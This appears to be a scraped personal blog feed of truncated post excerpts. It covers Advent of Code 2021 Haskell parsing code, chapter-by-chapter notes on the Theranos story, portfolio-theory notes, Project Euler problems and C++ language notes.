	$f_1$	$f_2$	$f_3$	$f_4$	$f_5$
d	0	1	1	0	1
q	0	0	1	1	1

$CP(q, d)$, the number of the co-presences of binary features, is $2$ because of $f_3$ and $f_4$.

$CA(q, d)$, the number of co-absences, is $1$ because of $f_1$.

Russel-Rao

Where $|q|$ is the total number of binary features considered:

AoC 2021 Day 08: Seven Segment Search

Mon, 07 Mar 2022 00:00:00 +0000

Day 8 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Mar 7, 2022.

Part I Description

You barely reach the safety of the cave when the whale smashes into the cave mouth, collapsing it. Sensors indicate another exit to this cave at a much greater depth, so you have no choice but to press on.

As your submarine slowly makes its way through the cave system, you notice that the four-digit seven-segment displays in your submarine are malfunctioning; they must have been damaged during the escape. You’ll be in a lot of trouble without them, so you’d better figure out what’s wrong.

08. A New Walking Shoe: Modern Portfolio Theory

Sat, 01 Jun 2019 00:00:00 +0000

Many academics agree that to beat the market, one needs to assume greater risk - as opposed to trying to predict the market.

This seems simplified. Expected an answer like insider trading, given that it’s hard to beat the market.

Defining Risk: The Dispersion of Returns

Business Conditions	Possibility of Occurrence	Expected Return (R)
“Normal” economic conditions	$\frac{1}{3}$	10%
Rapid real growth without inflation	$\frac{1}{3}$	30%
Recession with inflation (stagflation)	$\frac{1}{3}$	–10%

$$ \mathbb{E}[R] = \frac{1}{3}(.10) + \frac{1}{3}(.30) + \frac{1}{3}(-0.10) = 0.10 $$ $$ Var(R) = \frac{1}{3}(0.30–0.10)^2 + \frac{1}{3}(0.10–0.10)^2 + \frac{1}{3}(–0.10–0.10)^2 = 0.0267 $$

The Curse of Dimensionality and Feature Selection

Thu, 09 Aug 2018 00:00:00 +0000

The Curse of Dimensionality

The predictive power of an induced model is based either on:

Partitioning the feature space into regions based on clusters of training instances and assigning a query located in region $X$ the target value of the training instances in that cluster.
Interpolating a target value from the target values of individual training instances that are near the query in the feature space.

Therefore, the sampling density (the average density of training instances across the feature space) is an important factor.

The Curse of Dimensionality and Feature Selection

Thu, 09 Aug 2018 00:00:00 +0000

The Curse of Dimensionality

The predictive power of an induced model is based either on:

Partitioning the feature space into regions based on clusters of training instances and assigning a query located in region $X$ the target value of the training instances in that cluster.
Interpolating a target value from the target values of individual training instances that are near the query in the feature space.

Therefore, the sampling density (the average density of training instances across the feature space) is an important factor.

08. The miniLab

Mon, 21 May 2018 00:00:00 +0000

The miniLab, 4S for short, stemmed from the need for a device that could perform more than just one class of tests. Theranos value prop was now minituarization, as opposed to invention. Current blood analyzers used too much blood and did too few tests.

Kent, de-facto Chief Architect of the miniLab, had raised $215k on Kickstarter for his bike lights side project. Elizabeth and Sunny wanted the patent to be transferred to Theranos. The compromise was a leave of absence.

AoC 2021 Day 09: Smoke Basin

Wed, 16 Mar 2022 00:00:00 +0000

Multi-dimensional arrays using massiv; Fusion; Box vs. Unboxed; Connected Components; Data.Set; Monadic map

09. Reaping Reward By Increasing Risk

Sat, 01 Jun 2019 00:00:00 +0000

The mystical perfect risk measure is still beyond our grasp. That said, here are some common ones:

Beta and Systematic Risk

Systematic risk of a security arises from the variability of the general stock market. Diversification does not reduce this risk.

Unsystematic risk is the remaining variability that is due to a company’s particular factors, e.g. a strike. Diversification reduces this risk. There is no reason for extra compensation.

Beta is a measure of the systematic risk. The broad market index is assigned a beta of 1. If a stock has a $ \beta = 2 $, then on average, it swings twice as far as the market.

09. The Wellness Play

Mon, 21 May 2018 00:00:00 +0000

Safeway was doing poorly. Burd teased with a ‘wellness play’. He expected the clinics’ to recoup the $350m renovation costs. Testing and rewarding employees would reduce Safeway’s health care costs.

Theranos would courier samples to Palo Alto for testing. Theranos used a lancet on the index finger AND the good old hypodermic needle to the arm. The results could take 2 weeks as opposed to near-instantaneous. Theranos’s results tended to be way off, unless they had been outsourced. Burd brushed off these concerns.

Classes in C++

Thu, 12 May 2022 00:00:00 +0000

quotes Doug McIlroy:

Those types are not “abstract”; they are as real as int and float.

What is the context of this quote?

A class is a user-defined type provided to represent a concept in the code of a program. Essentially, all language facilities beyond the fundamental types, operators, and statements exist to help define better class or to use them more conveniently.

Sometimes I have problems defining the concept that is going to be encapsulated as a class. Other times, the naming is hard, and I result to common patterns like FooManager.

AoC 2021 Day 10: Syntax Scoring

Tue, 12 Apr 2022 00:00:00 +0000

Day 10 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Apr 12, 2022.

Part I

You ask the submarine to determine the best route out of the deep-sea cave, but it only replies:

Syntax error in navigation subsystem on line: all of them

The navigation subsystem is made of several lines containing chunks. There are one or more chunks on each line, and chunks contain zero or more other chunks. Adjacent chunks are not separated by any delimiter; if one chunk stops, the next chunk (if any) can immediately start. Every chunk must open and close with one of four legal pairs of matching characters:

10. Behavioral Finance

Sat, 01 Jun 2019 00:00:00 +0000

Behavioralists believe that:

Investors are not rational in present and future valuations of securities.
There are substantial barriers to efficient arbitrage.

The Irrational Behavior of Individual Investors

Overconfidence

People tend to be overconfident, e.g. in a survey, 94% of male respondents believed that their athleticism was above average.

Hindsight bias makes the world seem predictable. Investors might think they can beat the market.

The tendency of “growth” stocks to underperform “value” stocks shows how overoptimistic growth forecasts are.

10. Who Is LTC Shoemaker?

Mon, 21 May 2018 00:00:00 +0000

Elizabeth had successfully pitched to James Mattis, 4-star General, about deploying Theranos in Afghanistan. General Mattis was known to look out for his troops.

Elizabeth’s plan around regulation - the real blood analysis would be beamed to California to be done by professionals; only the CLIA compliance for the Palo Alto lab was needed - no FDA.

Lt. Col. Shoemaker, responsible for the army’s compliance with medical regulations, was openly critical of the Theranos’ workaround. He asked a colleague about it.

11. New Methods of Portfolio Construction: Smart Beta and Risk Parity

Sat, 01 Jun 2019 00:00:00 +0000

Smart Beta

Using relatively passive-rule based strategies to gain greater than market returns without assuming more risk than investing in a low-cost total stock market index fund.

The Sharpe Ratio: (excess return over the risk-free rate) / (risk of the strategy). The risk-free rate is usually the return from a 3-month treasury bill. Higher Sharpe Ratios are better.

Smart beta argues that pure indexing (weighting by market cap) is not optimal. The portfolio should be tilted in some direction.

11. Lighting a Fuisz

Mon, 21 May 2018 00:00:00 +0000

Elizabeth sued Richard Fuisz claiming he used Joe & John Fuisz to steal confidential information at McDermott Will & Emery, in order to build the rival patent. Note that John thought his father, Richard, was overbearing.

David Boies was legendary: antitrust against MSFT, Al Gore on contested 2000 election, overturning ban on gay marriage in CA. He also intimidated opponents with private investigators.

There was paranoia that Quest Diagnostics and Laboratory Corporation of America were thirsty for Theranos’s blood. They suspected Richard was in league with Quest and LabCorp.

12. Ian Gibbons

Mon, 21 May 2018 00:00:00 +0000

Ian’s specialty was immunoassays. His contentions: the devices fell short of the lab bench’s accuracy; there was little communication between groups; Elizabeth’s dishonesty about Theranos’ capbilities.

Ian confided in Channing Robertson, who parroted to Elizabeth, who fired Ian.

But his colleagues lobbied him back in. He was in a demoted position though. Paul, previous mentee turned manager, was more compromising with the engineers.

Ian was dismayed that Elizabeth’s name was usually in 1st place on patents despite negligible scientific contribution. Rochelle, his wife, noted that this was potential reason for patents to be invalidated.

13. Chiat\Day

Mon, 21 May 2018 00:00:00 +0000

Chiat\Day was the agency that Apple had used. Therefore, Theranos would too.

Patrick (Chiat\Day) was enamored by Elizabeth’s mission. The website models featured all demographics. Elizabeth scheduled Wednesday meetings because that’s how Apple did it.

Stan Fiorito (Chiat\Day) was more circumspect. Sunny’s sales targets had measly research. How were they affording $6m/year retainer?

Elizabeth claimed Theranos was saving soldiers’ lives in Afghanistan. She wanted bold claims:

800 tests on a drop of blood
More accurate than traditional lab testing
Tests ready in < 30min
Tests approved by the FDA and endorsed by key medical centers.

Theranos: 93% of lab mistakes are due to human error. Automating the testing process thus makes us more accurate than other labs.

Privacy [COS 432]

Tue, 22 Jan 2019 00:00:00 +0000

14. Going Live

Mon, 21 May 2018 00:00:00 +0000

Theranos’s Lab was divided into two. The upstairs one, CLIA-certified, was full of commercial diagnostic equipment. The downstairs one had Theranos’s tech.

2.5 years of the miniLab’s development. But it was still a work in progress. In medical device standards, 3 years is a short time.

Sycophants were promoted. Many employees were on H1-B, so they needed Theranos’s employment.

After LTC Shoemaker, Elizabeth scrapped the remote diagnostics. The samples were to be couriered to Palo Alto. Still, Elizabeth insisted that the 4S be a sleek small (consumer) device.

15. Unicorn

Mon, 21 May 2018 00:00:00 +0000

Elizabeth used Shultz’s connections to get a WSJ Weekend Interview to coincide with the launch. The interview was a friendly setting, with a pro-business & anti-regulation ethos.

Theranos was about to launch. Its devices were being used by the military too. Elizabeth offered Don Lucas a discount investment opportunity - $15m at a $6b valuation; 7 years ago, Theranos was valued at $40m.

Uber had raised $361m at $3.5b. Spotify raised $250m at $4b. Theranos would eclipse them.

16. The Grandson

Mon, 21 May 2018 00:00:00 +0000

The Edison’s innards were mostly a pipette fastened to a robotic arm. But it had a [buggy] touchscreen interface, so…

A test is considered precise if its coefficient of variation (CV) is below 10%. Data runs that failed to meet the threshold were discarded. Of six values, Theranos only reported the median to the patient.

Theranos also argued that proficiency testing results were assessed by comparing them to its peers’ results. But Theranos’s tech was unique and therefore had no peer group.

17. Fame

Mon, 21 May 2018 00:00:00 +0000

Richard and Joe Fuisz were tired and battered. They had already spent $2m+ on their defense. What if they lost and were made to cover Theranos’s legal expenses?

Richard agreed to withdraw patent in exchange for Theranos withdrawing its suit. The Fuiszes had lost. But Joe demanded a public apology from Theranos.

Roger Parloff, Fortune Magazine’s legal correspondent saw the settlement in Litigation Daily. After speaking to Shultz, Perry, Kissinger, Nunn, Mattis and the 2 new directors: Kovacevich (former Wells Fargo CEO) and Frist (former Senate majority leader), came the June 2014 cover story that catapulted Elizabeth to fame: This CEO Is Out for Blood. Elizabeth being $5b+ was first disclosed here.

18. The Hippocratic Oath

Mon, 21 May 2018 00:00:00 +0000

Alan talked Elizabeth and Sunny out of running HIV tests on diluted finger-stick samples - unreliable potassium and cholesterol results were bad enough.

Alan was tired of convincing physicians that blood test results were sound and accurate. He chose to resign and asked his name be taken off the lab’s CLIA license. Alan got served with an affidavit.

How could Alan go against the most fabled SV unicorn? The litigation would bankrupt him. Alan’s lawyer advised him to erase his emails.

019. Counting Sundays

Fri, 07 Jan 2022 00:00:00 +0000

Problem Statement

You are given the following information, but you may prefer to do some research for yourself:

1 Jan 1900 was a Monday.
Thirty days has September,
April, June and November.
All the rest have thirty-one,
Saving February alone,
Which has twenty-eight, rain or shine.
And on leap years, twenty-nine.
A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400.

How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)?

19. The Tip

Mon, 21 May 2018 00:00:00 +0000

Alan retrieved the proficiency testing email chain through a whistleblower law firm. He forwarded the thread to Carreyrou. The thread showed Sunny admonishing Alan & Mark for running proficiency tests on the Edison and admitting that the device had “failed” the test. Elizabeth was copied on most of the emails.

Carreyrou tracked Carmen Washington, who had complained about Theranos’s blood tests in Walgreens. 3 of her patients had received questionable test results.

Structures in C++

Sat, 04 Jun 2022 00:00:00 +0000

A struct helps us organize the elements that a type needs into a data structure, e.g.

struct Vector {
 int sz; // number of elements
 double* elem; // pointer to elements on the free store
};

void vector_init(Vector& v, int s) {
 v.elem = new double[s];
 v.sz = s;
}

However, notice that a user of Vector has to know every detail of a Vector’s representation. We can improve on this.

There is no fundamental difference between a struct and a class; a struct is simply a class with members public by default.

020. Factorial Digit Sum

Sat, 15 Jan 2022 00:00:00 +0000

Problem Statement

$n!$ means $n \times (n - 1) \times … \times 3 \times 2 \times 1$.

For example, $10! = 10 \times 9 \times … \times 3 \times 2 \times 1 = 3628800$, and the sum of the digits in the number $10!$ is $3 + 6 + 2 + 8 + 8 + 0 + 0 = 27$.

Find the sum of the digits in the number $100!$

20. The Ambush

Mon, 21 May 2018 00:00:00 +0000

Charlotte: I doubt if Theranos’s ‘box’ is real. Henry [Kissinger] doubts too and he’s been saying he wants out.

Tyler got served with an affidavit stating that he’d never spoken to any third parties about Theranos and that he’d give names of [ex]employees who he knew had talked to WSJ.

George: Tyler isn’t a snitch. Finding out who spoke to WSJ is Theranos’s problem.

Tyler declined to name WSJ’s other sources. Theranos declined to include his parents and heirs in the litigation release. Tyler’s parents were afraid of having to sell the house to cover for legal costs.

021. Amicable Numbers

Sat, 06 Feb 2021 00:00:00 +0000

Problem Statement

Let $d(n)$ be defined as the sum of proper divisors of $n$ (numbers less than $n$ which divide evenly into $n$).

If $d(a) = b$ and $d(b) = a$, where $a \neq b$, then $a$ and $b$ are an amicable pair and each of $a$ and $b$ are called amicable numbers.

For example, the proper divisors of $220$ are $1, 2, 4, 5, 10, 11, 20, 22, 44, 55, 110$; therefore $d(220) = 284$. The proper divisors of $284$ are $1, 2, 4, 71, 142$; so $d(284) = 220$.

21. Trade Secrets

Mon, 21 May 2018 00:00:00 +0000

Carreyrou & WSJ vs. Boies Schiller

The Boies Schiller delegation was led by David Boies himself!

Admissions: Ownership of commercial blood analyzers; problematic potassium test was a known issue, and no faulty results had been released to patients.

Siemens ADVIA? Special dilution on ADVIA? Number of tests done by the Edison? Trade secret!

Boies Schiller and witnesses

Tyler was young and unqualified; disgruntled ex-employees are unreliable.

BS summoned Erika to an interview, lest she be litigated against.

022. Name Scores

Fri, 18 Feb 2022 00:00:00 +0000

#22 Names scores - Project Euler. projecteuler.net . Accessed Feb 18, 2022.

Problem Statement

Using names.txt, a 46K text file containing over 5,000 first names, begin by sorting it into alphabetical order. Then working out the alphabetical value for each name, multiply this value by its alphabetical position in the list to obtain a name score.

For example, when the list is sorted into alphabetical order, COLIN, which is worth $3 + 15 + 12 + 9 + 14 = 53$, is the 938th name in the list. So COLIN would obtain a score of $938 \times 53 = 49{,}714$.

22. La Mattanza

Mon, 21 May 2018 00:00:00 +0000

La Mattanza: An ancient Silician ritual in which fisherman waded into the Mediterranean Sea up to their waist with clubs and spears and then stood still for hours on end until the [bluefin tuna] no longer noticed their presence. Eventually, when enough [tuna] had gathered around them, someone gave and imperceptible signal and in a split second the scene went from preternatural quiet to gory bloodbath as the fishermen struck viciously at their unsuspecting quarry.

023. Non-Abundant Sums

Sun, 19 Feb 2023 00:00:00 +0000

#23 Non-abundant sums - Project Euler. projecteuler.net . Accessed Feb 19, 2023.

Problem Statement

A perfect number is a number for which the sum of its proper divisors is exactly equal to the number. For example, the sum of the proper divisors of $28$ would be $1 + 2 + 4 + 7 + 14 = 28$, which means that $28$ is a perfect number.

23. Damage Control

Mon, 21 May 2018 00:00:00 +0000

Rupert Murdoch led the most recent $430m funding round with $125m. He followed his gut: he’d invested $150k in Uber for it to become $50m.

The investment packket forecasted (profit revenue) of ($330m, $1b) in 2015 and ($505m, $2b) in 2016. Furthermore, Theranos had lined up Cox Enterprises, The Waltons, New England Patriots owner, Carlos Slim, controller of Fiat Chrysler.

Elizabeth brought up Carreyrou’s story to Murdoch, but Murdoch declined to intervene - saying he trusted the paper’s editors to handle the matter fairly.

24. The Empress Has No Clothes

Mon, 21 May 2018 00:00:00 +0000

[3 weeks before first article] Erika Cheung’s email to Gary Yamamoto (CMS) spurred the surprise inspection on Theranos’s labs in less than 3 days. They found so many problems and missing documentation that they planned to return. When they returned, WSJ’s article was out and there was pressure. CMS released a letter calling Theranos an “immediate jeopardy to patient health and safety”.

Theranos claimed to have fixed many of the deficiencies, and that the problems had no bearing on the soundness of its proprietary tech. Theranos invoked trade secrets to keep the report confidential.

Epilogue

Mon, 21 May 2018 00:00:00 +0000

March 14, 2018: SEC charges Theranos, Homes and Balwani with conducting “an elaborate, years-long fraud”. To resolve SEC’s civil charges, Elizabeth was forced to relinquish her voting control, give back a big chunk of stock, pay a $500k penalty and not be an officer/director in a public company for 10 years.

Sunny didn’t join Theranos until late 2009. Elizabeth had already been misleading pharmaceutical companies for years about the readiness of her tech.

AoC 2021 Input Parser

Mon, 07 Mar 2022 00:00:00 +0000

{-# OPTIONS_GHC -Wall #-}

-- {-# LANGUAGE FlexibleContexts #-}

-- The `(..)` syntax represents all of the constructors for the data type. [1]
-- Without that export, we can pattern-match in BinaryDiagnostic.hs because we
-- run into a "Not in scope: data constructor ‘BinaryDiagnostics’" error.
--
-- [1]: https://stackoverflow.com/a/34548070/7812406
module AoC2021InputParser
 ( parseBinaryDiagnosticInput,
 parseBingoInput,
 parseHydrothermalVents,
 parseLanternfishInternalTimers,
 parseHorizontalCrabPositions,
 parseSevenSegmentsDisplay,
 parseHeightMap,
 )
where

import BinaryDiagnostic.BinaryDiagnostic (BinaryDiagnostics (..), diagNums, diagWidth)
import Control.DeepSeq (($!!))
import Data.Char (digitToInt, ord)
import Data.Maybe (isJust, listToMaybe)
import Data.String (IsString (fromString))
import qualified Data.List.Split as Split
import qualified Data.Vector as V
import GiantSquid (Board, DrawnNumbers, Tile)
import qualified HydrothermalVenture.HydrothermalVenture as HV (LineSegment (..), Point (..))
import Paths_advent_of_code_y2021 (getDataFileName)
import System.IO (IOMode (ReadMode), hGetContents, withFile)
import Text.Parsec (endOfLine)
import Text.ParserCombinators.Parsec
import Text.Read (readMaybe)
import qualified AoC2021.SevenSegmentSearch as SevenSegmentSearch (SevenSegmentDisplay (..))
import qualified Data.IntSet as IntSet
import qualified AoC2021.SmokeBasin as SmokeBasin (HeightMap)
import qualified Data.Massiv.Array as MassivArray (empty, fromLists')
import qualified Data.Massiv.Core as MassivCore (Comp(Seq))

Day 03: Binary Diagnostic

-- The `Numeric` module has a `readBin` function [1], but for some reason, I get
-- a "Variable not in scope: readBin" error. However, `readDec`, `readOct` and
-- `readHex` work...
--
-- [1]: https://hackage.haskell.org/package/base-4.16.0.0/docs/Numeric.html#v:readBin
readBin' :: String -> Int
readBin' binString = fst $ foldr f (0, 1) binString
 where
 f c (s, powerOf2) = (s + powerOf2 * digitToInt c, powerOf2 * 2)

-- The file is a list of binary digits of the same width, e.g.
--
-- 00100
-- 11110
parseBinaryDiagnosticInput :: FilePath -> IO BinaryDiagnostics
parseBinaryDiagnosticInput fp = do
 validatedFP <- getDataFileName fp
 withFile
 validatedFP
 ReadMode
 ( \h -> do
 s <- hGetContents h
 let ls = lines (fromString s)
 let width = maybe 0 length (listToMaybe ls)
 -- With lazy I/O, `h` gets closed as soon as we leave `withFile`. This
 -- introduces errors of the form "hGetContents: illegal operation
 -- (delayed read on closed handle)". [1]
 --
 -- In the expression `f $!! x`, `x` is fully evaluated before `f` is
 -- applied to it. [1] [2]
 --
 -- Alternatively, one can use `readFile` which holds the file open until
 -- it has finished reading the file [1]. However, [3] says that
 -- `readFile` reads the file lazily. Hmm...
 --
 -- [1]: https://stackoverflow.com/a/26949379/7812406
 -- [2]: https://hackage.haskell.org/package/deepseq-1.4.6.1/docs/Control-DeepSeq.html#v:-36--33--33-
 -- [3]: https://hackage.haskell.org/package/base-4.16.0.0/docs/html#v:readFile
 return $!! (BinaryDiagnostics {diagWidth = width, diagNums = map readBin' ls})
 )

Day 04: Giant Squid

-- `endBy` expects the very last item to be followed by the separator. It
-- continues parsing until it can't parse any more content. [1]
--
-- TODO: Is it possible to define `bingoFile` as `endBy bingoSection doubleEOL`?
-- The last double EOL is partly consumed by `bingoElementSeparator` that also
-- matches a new line.
--
-- [1]: http://book.realworldhaskell.org/read/using-parsec.html
bingoFile :: Parser [[String]]
bingoFile = endBy bingoSection endOfLine

-- `sepBy` takes two functions as arguments. The first function parses some sort
-- of content, while the second function parses a separator. `sepBy` starts by
-- trying to parse content, then separators, and alternates back and forth until
-- it can't parse a separator. It returns a list of all the content it was able
-- to parse. [1]
--
-- [1]: http://book.realworldhaskell.org/read/using-parsec.html
bingoSection :: Parser [String]
bingoSection = sepBy bingoElement bingoElementSeparator

bingoElement :: Parser String
bingoElement = many digit

bingoElementSeparator :: Parser Char
bingoElementSeparator = try (char ',') <|> try (char ' ') <?> "separator for element"

-- `try` applies a parser, and if it fails, then `try` behaves as if it hadn't
-- consumed any input at all, and tries the option on the right of the `<|>`.
-- Note that `try` only has an effect if its on the left side of a `<|>`. [1]
--
-- `<?>` tries the parser on its left. In the event of a failure, it presents an
-- error message instead of trying another parser. The error message should
-- complete the sentence, "Expecting...". [1]
--
-- [1]: http://book.realworldhaskell.org/read/using-parsec.html
-- eol = try (string "\n\r\n\r")
-- <|> try (string "\r\n\r\n")
-- <|> try (string "\n\n")
-- <|> string "\r\r"
-- <?> "end of line followed by empty line"

-- File format: the first line contains the numbers to draw. The rest is a new
-- line followed by a 5x5 grid of numbers representing a board.
--
-- 7,4,9,5,11,17,23,2,0,14,21,24,10,16,13,6,15,25,12,22,18,20,8,19,3,26,1
--
-- 22 13 17 11 0
-- 8 2 23 4 24
-- 21 9 14 16 7
-- 6 10 3 18 5
-- 1 12 20 15 19
--
-- 3 15 0 2 22
-- 9 18 13 17 5
-- 19 8 7 25 23
-- 20 11 10 24 4
-- 14 21 16 12 6
parseBingoInput :: FilePath -> IO (DrawnNumbers, [Board])
parseBingoInput fp = do
 dataFp <- getDataFileName fp
 -- Objective: Try using `readFile` and see if `($!!)` is needed to fully
 -- evaluate the contents before exiting this function.
 fileContents <- readFile dataFp
 case parse bingoFile "" fileContents of
 Left e -> do
 putStrLn "Error parsing input"
 print e
 return ([], [])
 Right r -> do
 let parseInt :: String -> Int
 parseInt s = read s :: Int

 drawnNumbers = map parseInt (head r)

 tile :: String -> Tile
 tile x = (parseInt x, False)

 -- TODO: Figure out how to parse multiple spaces as
 -- separators, and get rid of the `isValidNum` filter.
 isValidNum :: String -> Bool
 isValidNum s = isJust (readMaybe s :: Maybe Int)

 parseBoards :: [[String]] -> [Board]
 parseBoards ([_] : l1 : l2 : l3 : l4 : l5 : ls) =
 let nums = V.filter isValidNum (V.fromList (l1 ++ l2 ++ l3 ++ l4 ++ l5))
 board = V.map tile nums
 in (board, False) : parseBoards ls
 parseBoards [l1, l2, l3, l4, l5] =
 let nums = V.filter isValidNum (V.fromList (l1 ++ l2 ++ l3 ++ l4 ++ l5))
 board = V.map tile nums
 in [(board, False)]
 parseBoards _ = []

 return (drawnNumbers, parseBoards (tail r))

Day 05: Hydrothermal Venture

hydrothermalFile :: Parser [HV.LineSegment]
hydrothermalFile = endBy hydrothermalLine endOfLine

-- Parses "0,9 -> 5,9" into a `LineSegment`.
hydrothermalLine :: Parser HV.LineSegment
hydrothermalLine =
 do p1 <- commaSeparatedCoordinates -- Underscores to avoid shadowing.
 _ <- string " -> "
 p2 <- commaSeparatedCoordinates
 return HV.LineSegment {HV.p1 = p1, HV.p2 = p2}

-- Parses "0,9" into (0, 9)
commaSeparatedCoordinates :: Parser HV.Point
commaSeparatedCoordinates =
 do x <- many1 digit
 _ <- char ','
 y <- many1 digit
 return HV.Point {HV.x=read x :: Int, HV.y= read y :: Int}

reportError :: ParseError -> IO ()
reportError e = do
 putStrLn "Error parsing input"
 print e

parseHydrothermalVents :: FilePath -> IO [HV.LineSegment]
parseHydrothermalVents fp = do
 dataFp <- getDataFileName fp
 fileContents <- readFile dataFp
 case parse hydrothermalFile "Hydrothermal Parser" fileContents of
 Left e -> do {reportError e; return []}
 Right r -> return r

singleLineCommaDelimitedFile :: Parser [Int]
singleLineCommaDelimitedFile =
 sepBy (do x <- many1 digit; return (read x :: Int)) (char ',')

parseSingleLineCommaDelimitedFile :: FilePath -> IO [Int]
parseSingleLineCommaDelimitedFile fp = do
 dataFp <- getDataFileName fp
 fileContents <- readFile dataFp
 case parse singleLineCommaDelimitedFile "Single Comma-Delimited Int Parser" fileContents of
 Left e -> do {reportError e; return []}
 Right r -> return r

Day 06: Lanternfish

parseLanternfishInternalTimers :: FilePath -> IO [Int]
parseLanternfishInternalTimers = parseSingleLineCommaDelimitedFile

Day 07: Treachery of Whales

parseHorizontalCrabPositions :: FilePath -> IO [Int]
parseHorizontalCrabPositions = parseSingleLineCommaDelimitedFile

Day 08: Seven Segment Search

-- Sample line:
-- fgaebd cg bdaec gdafb agbcfd gdcbef bgcad gfac gcb cdgabef | cg cg fdcagb cbg
sevenSegmentsDisplayLine :: Parser SevenSegmentSearch.SevenSegmentDisplay
sevenSegmentsDisplayLine = do
 -- TODO: Is there syntax for avoiding the intermediate _allSegments variable?
 _allSegments <- many1 (noneOf "\r\n")
 let uniquePatternsAndOutputs = splitAt 10 $ Split.split (Split.dropDelims . Split.dropInnerBlanks $ Split.oneOf "| ") _allSegments

 let stringsToIntSets = map (IntSet.fromList . map ord) :: [String] -> [IntSet.IntSet]
 return SevenSegmentSearch.SevenSegmentDisplay{
 SevenSegmentSearch.uniquePatterns = stringsToIntSets (fst uniquePatternsAndOutputs),
 SevenSegmentSearch.outputValues = stringsToIntSets (snd uniquePatternsAndOutputs)}

sevenSegmentsDisplayFile :: Parser [SevenSegmentSearch.SevenSegmentDisplay]
sevenSegmentsDisplayFile = endBy sevenSegmentsDisplayLine endOfLine

parseSevenSegmentsDisplay :: FilePath -> IO [SevenSegmentSearch.SevenSegmentDisplay]
parseSevenSegmentsDisplay fp = do
 dataFp <- getDataFileName fp
 fileContents <- readFile dataFp
 case parse sevenSegmentsDisplayFile "Seven Segment Display" fileContents of
 Left e -> do {reportError e; return []}
 Right r -> do {return r}

I gave up on using parsec to parse a line of the form cg bdaec gdafb agbcfd gdcbef | cg cg fdcagb cbg because the | and space delimiter kept tripping up my endBy sevenSegmentsDisplayLine endOfLine construction. Interested in how others parsed this line.

Enumerations in C++

Sat, 04 Jun 2022 00:00:00 +0000

Unscoped (or Plain or C-Style) Enumerations

Plain (or C-style) enums are entered in the same scope as the name of their enum, and implicitly convert to their integer value, e.g.

enum Color { red, green, blue };
int col = green;
Color c2 = 1; // error: invalid conversion from 'int' to 'Color' [-fpermissive]

enum CardColor { red, black }; // Error: "red" conflicts with a previous declaration

The name can be omitted if it’s not going to be used, e.g.

enum { red, green, blue };
int col = red;

Unnamed enums are common in code written before alternative ways of specifying integer constants, e.g.

Unions in C++

Sat, 04 Jun 2022 00:00:00 +0000

A union is a struct in which all members are allocated at the same address so that the union occupies as much space as its largest member, e.g.

// This is a naked union because it doesn't have an associated indicator
// for which member it holds.
union Value {
 Node* p;
 int i;
}

// The language doesn't keep track of which kind of value is held by a
// union, so the programmer must do that themselves, e.g.

enum Type { ptr, num };

struct Entry {
 string name;
 Type t;
 Value v; // use v.p if t == ptr; use v.i if t == num
};

// Sample usage.
void f(Entry* pe) {
 if (pe->t == num)
 std::cout << pe->v.i;
 // ...
}

AoC 2021 Main

Mon, 11 Apr 2022 00:00:00 +0000

module Main where

import qualified AoC2021 (runSolution)
import AoC2021Args (Args(..), aocArgParser)

import Options.Applicative

main :: IO ()
main = runAoCSolutions =<< execParser opts
 where
 opts = info (aocArgParser <**> helper)
 ( fullDesc
 <> progDesc "Run solutions for a given DAY of AoC 2021"
 <> header "A module for running solutions for AoC 2021")

runAoCSolutions :: Args -> IO ()
runAoCSolutions (Args d) = AoC2021.runSolution d

AoC 2021 Solution Runner

Mon, 11 Apr 2022 00:00:00 +0000

{-# OPTIONS_GHC -Wall #-}

module AoC2021 (runSolution) where

-- https://cabal.readthedocs.io/en/3.4/cabal-package.html#accessing-data-files-from-package-code

import AoC2021InputParser
 ( parseBinaryDiagnosticInput, parseBingoInput, parseHydrothermalVents,
 parseLanternfishInternalTimers, parseHorizontalCrabPositions,
 parseSevenSegmentsDisplay, parseHeightMap )
import BinaryDiagnostic.BinaryDiagnostic (lifeSupportRating, powerConsumption)
import Data.String (IsString (fromString))
import Dive.Dive (productOfFinalPosition, productOfFinalPositionWithNewIntepretation)
import GiantSquid (scoreOfFirstWinningBoard, scoreOfLastWinningBoard)
import HydrothermalVenture.HydrothermalVenture
 ( pointsWithAtLeastTwoRightSegmentOverlaps,
 pointsWithAtLeastTwoSegmentOverlaps,
 )
import qualified AoC2021.Lanternfish (numOfFishIn80Days, numOfFishIn256Days)
import qualified AoC2021.TreacheryOfWhales as TreacheryOfWhales
 (
 minFuelForAlignmentWithConstantBurnRate,
 minFuelForAlignmentWithIncreasingBurnRate
 )
import Paths_advent_of_code_y2021 (getDataFileName)
import SonarSweep ( num3MeasurementIncreases, numIncreases )
import System.IO (IOMode (ReadMode), hGetContents, withFile)
import qualified AoC2021.SevenSegmentSearch as SevenSegmentSearch
 (numOf1478AppearancesInOutput, sumOfOutputValues)
import qualified AoC2021.SmokeBasin as SmokeBasin
 (
 sumOfRiskLevelsOfLowPoints,
 productOf3LargestBasins
 )
import Text.Printf (printf)

allSolutions :: IO ()
allSolutions = do
 solution01
 solution02
 solution03
 solution04
 solution05
 solution06
 solution07
 solution08
 solution09

runSolution :: Int -> IO ()
runSolution 0 = do allSolutions
runSolution 1 = do solution01
runSolution 2 = do solution02
runSolution 3 = do solution03
runSolution 4 = do solution04
runSolution 5 = do solution05
runSolution 6 = do solution06
runSolution 7 = do solution07
runSolution 8 = do solution08
runSolution 9 = do solution09
runSolution x = do putStrLn ("Day " ++ show x ++ " has no associated solution.")

solution01 :: IO ()
solution01 = do
 -- hGetContents is lazy in that data is only read as the characters are
 -- processed. The lazy evaluation of the string is transparent, and so it can
 -- be passed to pure functions without any issues. However, if we try to hold
 -- onto `s` past the call to `numIncreases`, then we lose the memory
 -- efficiency as the compiler is forced to keep its value in memory for future
 -- use. Note that closing a handle before fully consuming its results will
 -- make you miss on the stream's data that had not been evaluated before the
 -- handle's close. [1] [2]
 --
 -- [1]: http://book.realworldhaskell.org/read/io.html#io.lazy.hGetContents
 -- [2]: https://hackage.haskell.org/package/base-4.16.0.0/docs/System-IO.html#v:hGetContents

 fp <- getDataFileName "src/scratchpad/01-sonar-sweep.input.txt"
 putStrLn "Day 01. Sonar Sweep"
 withFile
 fp
 ReadMode
 ( \h -> do
 s <- hGetContents h
 putStr "\tPart 1: Number of measurements larger than previous measurement: "
 print (SonarSweep.numIncreases (lines (fromString s)))
